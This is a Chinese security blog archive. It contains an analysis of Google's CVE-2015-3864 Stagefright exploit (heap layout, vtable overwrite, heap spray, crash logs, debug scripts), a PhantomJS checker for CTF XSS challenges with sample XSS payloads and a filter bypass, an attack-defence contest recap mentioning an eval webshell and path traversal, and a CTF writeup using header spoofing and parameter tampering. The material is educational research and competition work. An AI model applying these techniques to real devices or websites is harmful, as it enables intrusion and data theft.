CVE-2015-3864漏洞利用分析(exploit_from_google)

前言

接下来要学习安卓的漏洞利用相关的知识了,网上搜了搜,有大神推荐 stagefright 系列的漏洞。于是开干,本文分析的是 googleexploit. 本文介绍的漏洞是 CVE-2015-3864 , 在 google的博客上也有对该 exploit 的研究。

我之前下载下来了:

pdf版本 的链接:在这里

exploit 的链接: https://www.exploit-db.com/exploits/38226/

分析环境:

1
Android 5.1 nexus4 

正文

这个漏洞是一个文件格式相关漏洞,是由 mediaserver 在处理 MPEG4 文件时所产生的漏洞,漏洞的代码位于 libstagefright.so 这个库里面。

要理解并且利用 文件格式 类漏洞,我们就必须要非常清楚的了解目标文件的具体格式规范。

Part 1 文件格式学习

先来一张总体的格式图
paste image

mp4 文件由 box 组成,图中那些 free, stsc等都是box, box 里也可以包含 box ,这种 box 就叫 containerbox .

  • 每个 box 前四个字节为 boxsize

  • 第二个四字节为 boxtypebox typeftyp,moov,trak 等等好多种,moovcontainerbox ,包含 mvhdtrakbox

还有一些要注意的点。

  • box 中存储数据采用大端字节序存储
  • size 域为 0时,表示这是文件最后一个 box
  • size 为1 时,表示这是一个 large box ,在 type 域后面的 8 字节 作为该 box 的长度。

下面来看两个实例。

实例一

paste image

  • size 域为 00000014,所以该 box长度为 0x14 字节。
  • type 域为 66 74 79 70 所以 typefytp
  • 剩下的一些信息是一些与多媒体播放相关的一些信息。与漏洞利用无关,就不说了。

实例二

paste image

  • size 域为1,表示从该 box 开头偏移8字节开始的8字节为 size 字段, 所以该 box 的大小为 0xFFFFFFFFFFFFFF88
  • typetx3g

现在我们对该文件的格式已经有了一个大概的了解,这对于漏洞利用来说还不够,接下来我们要去看具体的解析该文件格式的代码是怎么实现的。

解析文件的具体代码位于 MPEG4Extractor.cpp 中的 MPEG4Extractor::parseChunk 函数里面。
该函数中的 chunk 对应的就是 box, 函数最开始先解析 typesize .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 开始4字节为 box 大小, 后面紧跟的 4 字节为 box type

uint64_t chunk_size = ntohl(hdr[0]);
uint32_t chunk_type = ntohl(hdr[1]); //大端序转换
off64_t data_offset = *offset + 8; // 找到 box 数据区的偏移

// 如果size区为1, 那么后面8字节作为size
if (chunk_size == 1) {
if (mDataSource->readAt(*offset + 8, &chunk_size, 8) < 8) {
return ERROR_IO;
}
chunk_size = ntoh64(chunk_size);
data_offset += 8;

if (chunk_size < 16) {
// The smallest valid chunk is 16 bytes long in this case.
return ERROR_MALFORMED;
}
} else if (chunk_size < 8) {
// The smallest valid chunk is 8 bytes long.
return ERROR_MALFORMED;
}

通过注释和代码,我们知道对于 size 的处理和前面所述是一致的。然后就会根据不同的 chunk_type ,进入不同的逻辑,
paste image

如果 box 中还包含 子 box 就会递归调用该函数进行解析。

Part 2 漏洞分析

CVE-2015-3864 漏洞产生的原因是,在处理 tx3g box时,对于获取的 size 字段处理不当,导致分配内存时出现整数溢出,进而造成了堆溢出。

paste image

size 为之前所解析的所有 tx3g box 的长度总和。chunk_size 为当前要处理的 tx3g box 的长度。然后 size + chunk_size 计算要分配的内存大小。 chunk_sizeuint64_t 类型的,chunk_size 我们在文件格式中我们所能控制的最大大小为 0xFFFFFFFFFFFFFFFF ( 看 part1 实例二 ) ,也是 64 位,但是我们还有一个 size 为可以控制,这样一相加,就会造成 整数溢出 , 导致分配小内存。而我们的 数据大小则远远大于分配的内存大小,进而造成堆溢出

Part 3 漏洞利用

概述

现在我们已经拥有了堆溢出的能力,如果是在 ptmalloc 中,可以修改下一个堆块的元数据来触发 crash ,甚至可能完成漏洞利用。不过从 android 5开始,安卓已经开始使用 jemalloc 作为默认的堆分配器。

jemalloc 中,小内存分配采用 regions 进行分配, region 之间是没有 元数据 的 (具体可以去网上搜 jemalloc 的分析的文章),所以 在 ctf 中常见的通过修改 堆块元数据 的漏洞利用方法在这里是没法用了。

不过所有事情都有两面性。region 间是直接相邻的,那我就可以很方便的修改相邻内存块的数据。 如果我们在 tx3g 对应内存块的后面放置一个含有关键数据结构的内存块,比如一个对象,在 含有虚函数 的类的 对象开始4字节(32位下),会存放一个 虚表指针 .

对象 调用 虚函数 时会从 虚表指针 指向的位置的 某个偏移(不同函数,偏移不同) 处取到相应的函数指针,然后跳过去执行。

如果我们修改对象的虚表指针,我们就有可能在程序调用虚函数时,控制程序的流程。

一些重要的 chunk_type(box type)

tx3g box

上一节提到,我们可以修改对象的虚表指针,以求能够控制程序的跳转。那我们就需要找到一个能够在解析 box 数据能时分配的对象。

MPEG4DataSource 就是这样一个类。

paste image

可以看到该对象继承自 DataSource, 同时还有几个虚函数。

我们可以在ida中看看虚表的构成。

paste image

可以看到 readAt 方法在虚表的第7项,也就是虚表偏移 0x1c 处。同时MPEG4DataSource在我这的大小为 0x20 .再看一下漏洞位置的代码。

paste image
可以看到如果当前解析的 tx3g box 不是第一个tx3g box(即size>0),会先调用 memcpy , 把之前所有 tx3g box中的数据拷贝到刚刚分配的内存。

如果我们先构造一个 tx3g ,其中包含的数据大于 0x20, 然后在构造一个 tx3g 构造大小使得 size+chunk_size = 0x20, 然后通过 memcpy 就可以覆盖 MPEG4DataSource 的虚表了。exploit 中就是这样干的。

pssh box

看看代码

paste image
划线位置说明了 pssh 的结构。

1
2
3
4
5
6
7
8
9
10
pssh 的结构
开始8字节 表示 该 box 的性质

00 00 00 40 70 73 73 68
size: 0x40,
type: pssh :
+ 0xc 开始 16字节 为 pssh.uuid
+ 0x1c开始4字节为 pssh.datalen
+ 0x20 开始为 pssh.data
可以查看 代码,搜索关键字: FOURCC('p', 's', 's', 'h')

这里先分配 pssh.datalen 大小的内存,然后把 pssh.data 拷贝到刚刚分配的内存。完了之后会把 分配到的 PsshInfo 结构体增加到 类属性值 Vector<PsshInfo> mPssh 中, mPsshMPEG4Extractor::~MPEG4Extractor() 中才会被释放。

paste image

所以在解析完 MPEG4格式前,通过 pssh 分配的内存会一直在内存中。

avcC box 和 hvcC box
这两个 box 的处理基本一致,以 avcC 为例进行介绍。解析代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
     case FOURCC('a', 'v', 'c', 'C'):
{
// 这是一块临时分配, buffer 为智能指针,在 函数返回时相应内存会被释放。
sp<ABuffer> buffer = new ABuffer(chunk_data_size);
if (mDataSource->readAt(
data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
return ERROR_IO;
}
// 在这里,会释放掉原来那个,新分配内存来容纳新的数据。
// 因此我们有了一个 分配,释放 内存能力
// setData 中会释放掉原来的buf, 新分配一个 chunk_data_size

mLastTrack->meta->setData(
kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);

*offset += chunk_size;
break;
}

首先根据 chunk_data_size 分配 ABufferbufferchunk_data_sizeboxsize 域指定,注意buffer是一个智能指针,在这里,它会在函数返回时释放。

ABuffer 中是直接调用的 malloc 分配的内存。
paste image
接下来读取数据到 buffer->data(), 最后调用 mLastTrack->meta->setData 保存数据到 meta, 在 setData 内部会先释放掉之前的内存,然后分配的内存,存放该数据,此时分配内存的大小还是chunk_data_size, 我们可控。

paste image

hvcC 的处理方式基本一样。所以通过这两个 box 我们可以 分配指定大小的内存,并且可以随时释放前面分配的那个内存块 。我们需要使用这个来布局tx3g内存块 和 MPEG4DataSource 内存块。

修改对象虚表指针

下面结合exploit 和上一节的那几个关键 box ,分析通过布局内存,使得我们可以修改 MPEG4DataSource 的虚表指针。
为了便于说明,取了 exploit 中的用于 修改对象虚表指针的相关代码进行解析 ( 我调试过程做了部分修改 )
paste image

首先看到第7,8行,构造了第一个 tx3g box, 大小为 0x3a8, 后面在触发漏洞时,会先把这部分数据拷贝到分配到的小内存buffer中,然后会溢出到下一个 regionMPEG4DataSource 内存块。使用 cyclic 可以在程序 crash 时,计算 bufferMPEG4DataSource 之间的距离。

13 行,调用了 memory_leak 函数, 该函数通过使用 pssh 来分配任意大小的内存,在这里分配的是 alloc_size ,即 0x20. 因为MPEG4DataSource 的大小为 0x20 ,就保证内存的分配会在同一个 run 中分配。这些这样这里分配了 40x20 的内存块,我认为是用来清理之前可能使用内存时,产生的内存碎片,确保后面内存分配按照我们的顺序进行分配。此时内存关系

1
| pssh | - | pssh |

1725 行,清理内存后,开始分配 avcChvcC, 大小也是 0x20, 然后在第 25 行又进行了内存碎片清理,原因在于我们在分配 avcChvcC时,会使用到 new ABuffer(chunk_data_size),这个临时的缓冲区,这个会在函数返回时被释放(请看智能指针相关知识)

paste image
同时多分配了几个 pssh 确保可以把 avcChvcC包围在中间。所以现在的内存关系是

1
| pssh | - | pssh | pssh | avcC | hvcC | pssh |

然后是 第 29 行, 再次分配 hvcC ,不过这次的大小 为 alloc_size * 2, 触发 hvcC 的释放,而且确保不会占用 刚刚释放的 内存.(jemalloc中 相同大小的内存在同一个run中分配)

1
2
| pssh | - | pssh | pssh | avcC | .... | pssh |

接下来构造 stblMPEG4DataSource 占据刚刚空出来的 内存。

1
| pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |

接下来, 第 38 行用同样的手法分配释放 avcC

1
2
| pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |

然后使用整数溢出,计算得到第二个 tx3g 的长度值,使得最后分配到的内存大小为0x20, 用来占据刚刚空闲的 avcC 的 内存块,于是现在的内存布局,就会变成这样。

1
| pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |

然后在

paste image
就会溢出修改了 MPEG4DataSource 的虚表指针。然后在下面的 readAt 函数调用出会 crash.

我测试时得好几次才能成功一次,估计和内存碎片相关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Thread 10 received signal SIGSEGV, Segmentation fault.
0xb66b57cc in android::MPEG4Extractor::parseChunk (this=this@entry=0xb74e2138, offset=offset@entry=0xb550ca98, depth=depth@entry=0x2) at frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1905
1905 if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$r0 : 0xb74e27b8 → 0x61616169 ("iaaa"?)
$r1 : 0xb74e2bb8 → 0x00000000
$r2 : 0x61616169 ("iaaa"?)
$r3 : 0x00000000
$r4 : 0xb550c590 → 0x00000428
$r5 : 0xfffffbf8
$r6 : 0xb550c580 → 0xb74e5c98 → 0x28040000
$r7 : 0xb550c570 → 0xfffffbf8
$r8 : 0xb74e2138 → 0xb6749f18 → 0xb66b2841 → <android::MPEG4Extractor::~MPEG4Extractor()+1> ldr r3, [pc, #188] ; (0xb66b2900 <android::MPEG4Extractor::~MPEG4Extractor()+192>)
$r9 : 0x74783367 ("g3xt"?)
$r10 : 0xb550ca98 → 0x01000a98
$r11 : 0xb74e2790 → 0x28040000
$r12 : 0x00000000
$sp : 0xb550c530 → 0xb74e2bb8 → 0x00000000
$lr : 0xb66b57bd → <android::MPEG4Extractor::parseChunk(long+0> ldr r1, [r4, #0]
$pc : 0xb66b57cc → <android::MPEG4Extractor::parseChunk(long+0> ldr r6, [r2, #28]
$cpsr : [THUMB fast interrupt overflow carry ZERO negative]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
$r0 : 0x00000000
$r1 : 0xb74e2bb8 → 0x00000000
$r2 : 0x61616169 ("iaaa"?)
$r3 : 0x00000000
$r4 : 0xb550c590 → 0x00000428
$r5 : 0xfffffbf8
$r6 : 0xb550c580 → 0xb74e5c98 → 0x28040000
$r7 : 0xb550c570 → 0xfffffbf8
$r8 : 0xb74e2138 → 0xb6749f18 → 0xb66b2841 → <android::MPEG4Extractor::~MPEG4Extractor()+1> ldr r3, [pc, #188] ; (0xb66b2900 <android::MPEG4Extractor::~MPEG4Extractor()+192>)
$r9 : 0x74783367 ("g3xt"?)
$r10 : 0xb550ca98 → 0x01000a98
$r11 : 0xb74e2790 → 0x28040000
$r12 : 0x00000000
$sp : 0xb550c530 → 0xb74e2bb8 → 0x00000000
$lr : 0xb66b57bd → <android::MPEG4Extractor::parseChunk(long+0> ldr r1, [r4, #0]
$pc : 0xb66b57cc → <android::MPEG4Extractor::parseChunk(long+0> ldr r6, [r2, #28]
$cpsr : [THUMB fast interrupt overflow carry ZERO negative]

可以看到断在了<android::MPEG4Extractor::parseChunk(long+0> ldr r6, [r2, #28],去 ida 里面找到对应的位置。

paste image
r2存放的就是虚表指针,可以确定成功修改了 虚函数表指针。

paste image

偏移也符合预期。

堆喷射

上面我们已经成功修改了MPEG4DataSource 的虚表指针,并在虚函数调用时触发了 crash .

我们现在能够修改对象的 虚表指针,并且能够触发虚函数调用。我们需要在一个可预测的内存地址精准的布置我们的数据,然后把虚表指针修改到这里,在 exploit 中使用了

1
2
3
4
spray_size = 0x100000
spray_count = 0x10

sample_table(heap_spray(spray_size) * spray_count)

来进行堆喷射

heap_spray 函数 就是使用 pssh 来喷射的内存。每次分配 0x100 页,共分配了 0x10 次。 exploit 作者在 博客中写道,这样就可以在可预测的内存地址中定位到特定数据。在这里就是 用于 stack_pivotgadget.

对于这一点,我很疑惑,有大佬可以告诉我为什么可以这样吗? 或者有没有相关的 paper 来介绍为什么可以在 可预测的地址 精确的布置我们的数据

最后

这个 exploit 写的确实强悍,提示我在进行漏洞利用时,要关注各种可能分配内存的地方,灵活的使用代码中的内存分配,来布局内存。 同时研究一个漏洞要把相关知识给补齐。对于这个漏洞就是 MPEG4 的文件格式和 相关的处理代码了。

一些tips:

  • 使用 gef + gdb-multiarch 来调试 , pwndbg 我用着非常卡, gef 就不会
  • 调试过程尽量使用脚本减少重复工作量。

使用的一些脚本。

使用 gdbserver attach mediaserver 并转发端口的脚本

1
2
3
4
5
6
adb root
adb forward tcp:1234 tcp:1234
a=`adb shell "ps | grep mediaserver" | awk '{printf $2}'`
echo $a
adb shell "gdbserver --attach :1234 $a"

gdb 的调试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
set arch armv5
gef-remote 127.0.0.1:1234
set solib-search-path debug_so/
directory android-5.1.0_r3/
gef config context.layout "regs -source"
set logging file log.txt
set logging on
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1897
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1630
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:1647
break frameworks/av/media/libstagefright/MPEG4Extractor.cpp:884
commands 1
p chunk_size
p buffer
c
end

commands 2
p buffer

end

commands 3
p buffer
c
end

commands 4
hexdump dword mDataSource 0x4
c
end


参考:

https://census-labs.com/media/shadow-infiltrate-2017.pdf

https://googleprojectzero.blogspot.hk/

http://blog.csdn.net/zhuweigangzwg/article/details/17222951

使用 PhantomJS 来实现 CTF 中的 XSS 题目

零:CTF、XSS 的概念

CTF 在这个博客中提到的已经很多了,它是一类信息安全竞赛,在比赛中,选手通过各种方式,从题目给出的文件或者网址中,获取到某一特定格式的字符串。

CTF 中比较常见的一个题型就是 XSS(跨站脚本攻击),大概的原理就是服务端没有正确过滤用户的输入,导致用户提交的畸形字符串被插入到网页中并被解析成 JavaScript 执行。在 CTF 中,XSS 一般用来拿管理员的 Cookie,伪造身份登录后台,再进行后续的渗透(顺便提一下,现在大部分网站的敏感 Cookie 都被设成了 HTTP Only,因此 XSS 是没法拿到的,需要用其它的方法)。

一个非常简单的反射型 XSS 注入如下(为了突出重点,我就不把页面写的这么完整了,一般的 CTF 题目也鲜有很符合规范的页面):

1
2
3
4
5
<html>
<body>
Hello <?php echo $_GET['name']; ?>!
</body>
</html>

如果我们输入的网址中,name 参数值为 rex<script>alert(1)</script>,那么整个网页会变成这样:

1
2
3
4
5
<html>
<body>
Hello rex<script>alert(1)</script>!
</body>
</html>

页面上就会有一个弹框。当然,如果能成功 alert(1),那么一般来说大概应该可能有其它方法来获取 Cookie,因此比较简单的 XSS 的检测方式通常是看页面上能否 alert(1)。

当然,XSS 还有其它方法,例如在一个论坛上发帖内容为 <img src=# onerror=alert(1)>,而这个论坛也没做输入过滤,那么这段恶意代码就会一直保留在这个帖子里,基本每个点进来的人都会遭殃。此为存储型 XSS。

就算服务端做了一些过滤,黑客也可能会绕过。例如服务端的过滤如下:

1
2
3
function escape($str) {
return preg_replace('/<script>/', '', $str);
}

想绕过的话,只需要使用 <scr<script>ipt>alert(1)</script> 即可,左边被过滤之后剩下的刚好又拼接成了一个 <script> 标签。

有一个很好玩的网站:alert(1) to win,是我在大一的时候某只姓三的学长给我的。这个网站给了你 escape 函数,你的目标就是输入 input,使其通过 escape 函数之后依旧可以 alert 出数字 1(注意是数字 1,不是字符串 1)。这个网站的题目对于目前的我来说还是比较难的,如果大家有兴趣,可以去挑战一下。

一:PhantomJS 的概念

我之前对电脑的认识是非常肤浅的。第一次听说虚拟机居然还可以跑在命令行下的时候,我心想:虚拟机软件本身没有图形界面,那你该怎么显示虚拟机里面的图形呢?后来特么又看到了 PhantomJS,居然是个没有图形界面的浏览器!当时还心想,这玩意又没法给人看,会有啥用啊……

后来接触了爬虫之后才逐渐理解了这玩意的用途。它是一个通过命令行和 API 操作的、没有图形界面的浏览器,专注于自动化测试、爬虫等不需要人们浏览,但需要获取数据的一些场合。

如果觉得 PhantomJS 官方的文档太多懒得看,针对一些简单的编程,看阮老师的这篇文章也可以:PhantomJS – JavaScript 标准参考教程(alpha)

二:基于 PhantomJS 的 CTF-XSS-Checker 的实现

我的思路大概是参照了上面的网站实现的,但是上面的 escape 函数是返回了一个过滤之后的字符串,而我打算直接用 eval 方法。

先放一下界面好啦!可以看到,上面网站中的 escape 函数被我改成了 check,里面会有一句 eval

0

由于 Node.js 与 PhantomJS 的交互最为简单,因此后端使用 Node.js 来编写。思路其实很简单:启动一个服务器,针对前端的静态文件直接返回文件内容(当然,这一点也可以用 Nginx 代劳),针对题目生成对应的题目网页,针对 /check 路由根据 POST body 进行 XSS 判断。

具体的路由逻辑我就不写了,毕竟即使不会开服务器,不会写路由,使用 koa 等框架也能很轻松地实现。这里重点说一下前后端的检验流程。写一个网页解释器实在是太难,而且也不值得,所以最简单的方法就是不如就让它 alert 成功,只不过我们修改一下 alert 函数罢了。

前端先生成一个隐藏的 iframe,通过劫持里面的 onerrorconsole.logalert 等函数来处理,通过 HTML5 Message API 在父页面和 iframe 之间传递信息。具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
window.onerror = function (a) {
parent.postMessage({
error: a.toString()
}, "*");
};

window.console = window.console || {};
window.console.log = function (a) {
parent.postMessage({
console: a
}, "*");
};

window.alert = function (a) {
if (a === 1)
parent.postMessage({
success: 1
}, "*");
else if (a == 1)
parent.postMessage({
warning: "You should alert *NUMBER* 1."
}, "*");
else {
parent.postMessage({
warning: "You need to alert 1."
}, "*");
}
};

window.onmessage = function (a) {
try {
check(a.data);
} catch(e) {
parent.postMessage({
error: e.toString().split("\\n")[0]
}, "*");
};
};

然后父页面通过返回的数据来处理就可以了,例如 onerror 的时候就将下面的黄条变红,并显示传过来的信息,如果 success 了,就将数据发给服务端进行验证。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// script 就是上面说的要嵌入 iframe 里面的代码
iframe.src = 'data:text/html,' + encodeURIComponent(problemText.replace(/\n\s*/g, '')) + script;
iframe.onload = function () {
this.contentWindow.postMessage(textarea.value, '*');
};

// 父页面通过 iframe 传回来的信息进行相应的处理
window.onmessage = function (e) {
var d = e.data;
console.log(d);
if (d.success !== undefined) {
tab.className = 'rs-tab rs-tab-success';
tab.innerText = 'Local check passed, running server check...';
// server check
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
tab.innerText = 'Server response: \'' + xhr.responseText + '\'.';
}
}
};
xhr.open('POST', '/check', true);
xhr.send(JSON.stringify({
id: location.pathname.match(/^\/(\d+)$/)[1],
ans: textarea.value,
}));
} else if (d.warning !== undefined) {
tab.className = 'rs-tab rs-tab-warning';
tab.innerText = d.warning;
} else if (d.error !== undefined) {
tab.className = 'rs-tab rs-tab-danger';
tab.innerText = d.error;
output.innerText = '';
} else if (d.console !== undefined) {
output.innerText = d.console;
}
};

这样本地的检验就可以啦!去看看服务端的 /check 是怎么写的。由于服务端是接收 JSON 返回 JSON 的,因此如果出了结果,直接输出一段 JSON 即可。假设我们已经想办法获取到了用户输入(上面那段代码中的 ans)、检验函数(之前提到的 check),那么可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var input = /* 获取到的 ans */;
var outputStr = '';

function output(obj) {
outputStr = JSON.stringify(obj);
}

window.onerror = function (a) {
output({ error: a.toString() });
}

window.alert = function (a) {
if (a === 1) {
output({ success: 1 });
} else if (a == 1) {
output({ error: "You should alert *NUMBER* 1." });
} else {
output({ error: "Server check failed, you need to alert 1." });
}
};

/* 在这儿注入 check 函数的实现 */

try {
check(input);
} catch (e) {
output({ error: e.toString().split("\\n")[0] });
} finally {
return outputStr;
}

说了这么多流程,终于要用到 PhantomJS 啦!我们需要用它创建一个页面,执行上面的代码,获取返回结果,并且在用户提交耗资源的操作(例如死循环)时及时将其关闭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
var phantom = require('phantom');
var phInstance = null;
var exitted = false;
phantom.create()
.then(instance => {
phInstance = instance;
return instance.createPage();
})
.then(page => {
var script = /* 上面提到的 script */;
var evaluation = page.evaluateJavaScript(script);
evaluation.then(function (html) {
html = JSON.parse(html);
if (html.success) {
res.write('Check passed, flag: ' + /* 对应题目的 flag */);
res.end();
} else {
res.write(html.error);
res.end();
}
if (!exitted) {
phInstance.exit();
exitted = true;
}
});
})
.catch(error => {
console.log(error); // eslint-disable-line no-console
if (!exitted) {
phInstance.exit();
exitted = true;
res.write('PhantomJS error');
res.end();
}
});
// prevent time limit exceeded
setTimeout(function () {
if (!exitted) {
phInstance.exit();
exitted = true;
res.write('TLE');
res.end();
}
}, 5000);
}

最后配上一点样式,就大功告成啦!

1

2

3


P.S. 即将到来的 NUAACTF 会使用这个程序来设计 XSS 题目。当然,题目与 Flag 均不是本文中放出来的这些。

P.S.S. Chrome 目前也推出了 Headless 模式,而且支持 Chrome 的全部特性。PhantomJS 作者表示自己要失业了……23333

2016 全国大学生网络安全邀请赛暨第二届上海市大学生网络安全大赛决赛酱油记

这次比赛的形式跟暑假那次一样,也是攻防赛,选手需要维护三个服务,其中一个是二进制,两个是 Web。不过这次的网络跟上次的不一样,三个服务都处于选手自己的内网环境(172.16.9.X,每道题是一个 X)中,只对外网(172.16.5.X,X = 队名 + 9)暴露了必须的端口。不过思路还是一样,先把代码 Dump 下来,然后看看里面有什么漏洞,然后尝试利用。这次比赛不提供外网,而且只有四个小时(十分钟一轮),因此可能会困难一些。

我们队伍三个人,就我是搞 Web 的,剩下的两个学弟都是搞 PWN 的,因此果断让他俩去搞 PWN 了,我一个人慢慢看 Web。这篇文章就对这两道 Web 题逐题分析吧,最后再写写我踩过的坑,因为现场的时候,一道题卡住了就去做另一道,如果按照时间写的话可能会很乱。

Web1

Web1 是搭在 Windows 2003 上的,需要远程桌面连接过去。打开 Web 目录之后发现两个项目,一个是开在 8081 上的 HDwiki,另一个是开在 8082 上的 finecms。我只看了 HDwiki 这一块,看到 index.php 里面第一句就是 @eval($_POST['HDwiki']),这特么是个菜刀啊!然而我当时太傻逼,以至于没有用菜刀来验证,而是直接向其 post 各种各样的信息,结果发现均没法执行。在这儿耽误了好长时间,比赛结束后才想起来有可能是开了 WAF,如果是这样,那么普通的菜刀可能并不好使了,需要有绕过 WAF 功能的才可以。

Web2

Web2 开了两个端口 8081 和 8082,然而看源码发现 8082 只有一个 index.html 文件,里面的内容就是 8082,所以这个端口是没意义的。把 8081 端口对应的文件下下来,发现是个 CodeIgniter 的项目。首先将 ENVIRONMENT 改成 production,然后在 production 中禁用全部的报错。然后在 static/test-run/debug.php 中发现了一段代码:

1
2
3
4
5
6
$conn = @mysql_connect($db['default']['hostname'], $db['default']['username'], $db['default']['password']) or die("connect failed" . mysql_error());
@mysql_select_db($db['default']['database'], $conn);
$result = @mysql_query('select init from system', $conn);
eval('$system_info='.@mysql_fetch_row($result)[0].';');
echo "We are ".$system_info['owner'] ."<br>";
echo "Our taget is " .$system_info['taget']."<br>";

并搞不懂,不过可以看出来一点:它说数据库的 system 表中会有一个数据,于是看到 system 表,里面只有一个 init 字段,写了 ownermember_keytaget(居然不是 target),然而并没输出 member_key,可见其重要性。于是全局搜索一下,在 application/controllers/Download.php 中发现了这样一段:

1
2
3
function do_download($file){
force_download(APPPATH . pathcoder($file,$this->system_model->sys_select()['member_key']), NULL);
}

跳到 force_download 函数,发现它并没有检验传入的文件名,刚好 flag 相对于 index.php 的路径(index.php 是框架的单一入口)是 ../flag,因此可以直接访问 /download/do_download/xxx.html 即可下载到 flag,其中 xxx 是经过加密后的 ../flag。于是看到 pathcoder 函数:

1
2
3
4
5
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
// ....

只有解密算法,没有加密算法,这是让我们自己反推?然而这一串 md5……

愣了一会儿,突然反应过来,这段代码不就是 uc_authcodediscuz 中的对称加密算法)么?!对比了一下,跟 uc_authcodeDECODE 模式完全一样,当然,key 就是 member_key 了。然而我用 uc_authcode 加密之后却没法用 pathcoder 解密,不知道是什么情况,由于已经没有时间了,因此只能作罢。

踩过的坑

不要随便删文件

我一开始在 HDwiki 中看到了一个 check.php,与业务逻辑没有任何关系,只是查看文件 md5 的,因此就顺手将其重命名为 check.php233 了,结果我们的 Web1 被判定为 down,于是才知道这是主办方的存活检测(哪有这样做检测的啊),于是将其恢复之后就好了。

不要随便 die

我在 Web2 中发现了那个 debug.php,最下面有一个可能是变量覆盖的漏洞,我就在这之前添加了一句 die();,结果又被判定为 down 了……

不要随便改权限

之前想到 static 文件夹可能会有执行权限,于是我执行了 chmod -x static(嗯,没有递归),结果被判定为 down 了……然而我一直没反应过来(只想着 down 可能是文件哪里改坏了),因此导致我们 down 了 18 轮,基本全部的失分都是在这里。

Web 可能有 WAF,可能有函数限制?

不光是 HDwiki 的那个菜刀用不了,我自己写的一些一句话也用不了。而且靶机中没有 tcpdump,于是我还想跟暑假一样在一开始输出 $_SERVER['PHP_SELF'] 和全部的 header、body 来分析流量,然而不管是 fwrite 还是 fputs 甚至是 file_put_contents 都失效了。由于没有经验,所以我不知道是否还有别的抓流量的方法,这直接导致了我没法重放其它队伍的攻击流量(不然可以自己写个脚本得点分了)。


最终的结果是,我们由于防守的好(也可能是时间太短,其它漏洞都没人找到),只被 3years 打了一轮 Web1,剩下的失分都是因为 down。如果有上面这些经验的话,就不至于失掉那么多分,名次还会再往前进一波。

0

2016 全国大学生网络安全邀请赛暨第二届上海市大学生网络安全大赛 Writeup

天知道为啥这比赛的名字这么长……还是写一写我过的那些题吧!

[Web] 仔细

打开发现是一个伪 nginx 测试页面,然后扫了一下发现有个 /log 文件夹,打开发现里面记录了 access.log,猜想里面有访问记录,于是下载下来直接搜 200,搜到一条记录:

1
http://xxx.xxx.xxx.xxx:15322/wojiushiHouTai888/denglU.php?username=admin&password=af3a-6b2115c9a2c0&submit=%E7%99%BB%E5%BD%95

打开发现里面有 flag:flag{ff11025b-ed80-4c42-afc1-29b4c41010cb}

[Web] 威胁(1)

根据提示“管理于2016年建成该系统”,生成一个 2016 年所有日期的字典,最终爆破出密码是 20160807,登进去发现 flag:flag{2eeba717-0d8e-4a7e-9026-e8e573afb99b}

[Web] 威胁(2)

源代码注释中提示用户名为 test,密码为 123456,然而最后猜出来真正的用户名应该是 guest,登录之后发现 flag:flag{6db7d9f2-e7cf-4986-b116-e1810e6e4176}

[Web] 物超所值

点击网页中的 SHOP NOW 按钮提示金钱不足,抓包没发现数据,说明是前端验证。查看网页源代码发现了点击按钮执行的函数,直接在 console 里面执行“验证成功”的句子:document.getElementById('Shop').submit(),依旧提示金钱不足,抓包发现提交了 id=25535&Price=10000 这段数据,将 Price 改为 0.01,在网页中发现了一行代码:

1
confirm('Purchase success,flag is:flag{e6985c27-0353-4dc4-83dc-1833426779a0}');

[Web] 分析

打开是个静态页面,扫了一下发现了 http://xxx.xxx.xxx.xxx:1999/administrator.php,在页面最下方的注释中发现账号 administrator administrator,登录后提示 IP 不在许可范围内,抓包看了一下发现一段注释:<!--许可ip:localhost/127.0.0.1-->,于是修改 HTTP 头添加 X-Forwarded-For: 127.0.0.1,得出结果:flag{33edd0c8-3647-4e09-8976-286ed779e5d3}

[Web] 抢金币

一开始以为是暑假某场比赛的原题,结果发现直接输入验证码抢劫会被抓,被抓之后就没法买 flag 了。后来发现,只要先让服务器生成一遍验证码,再直接抢,发的包中不带 code 参数,就可以(也仅可以)抢劫一次且不被抓。于是写脚本每隔一秒发两个请求(一个生成验证码,一个抢劫),等金币大于 1000 之后访问 getflag.php,即可得到 flag:flag{defee21d-4e09-41fa-aab4-052bd3d406c6}

[Crypto] 洋葱

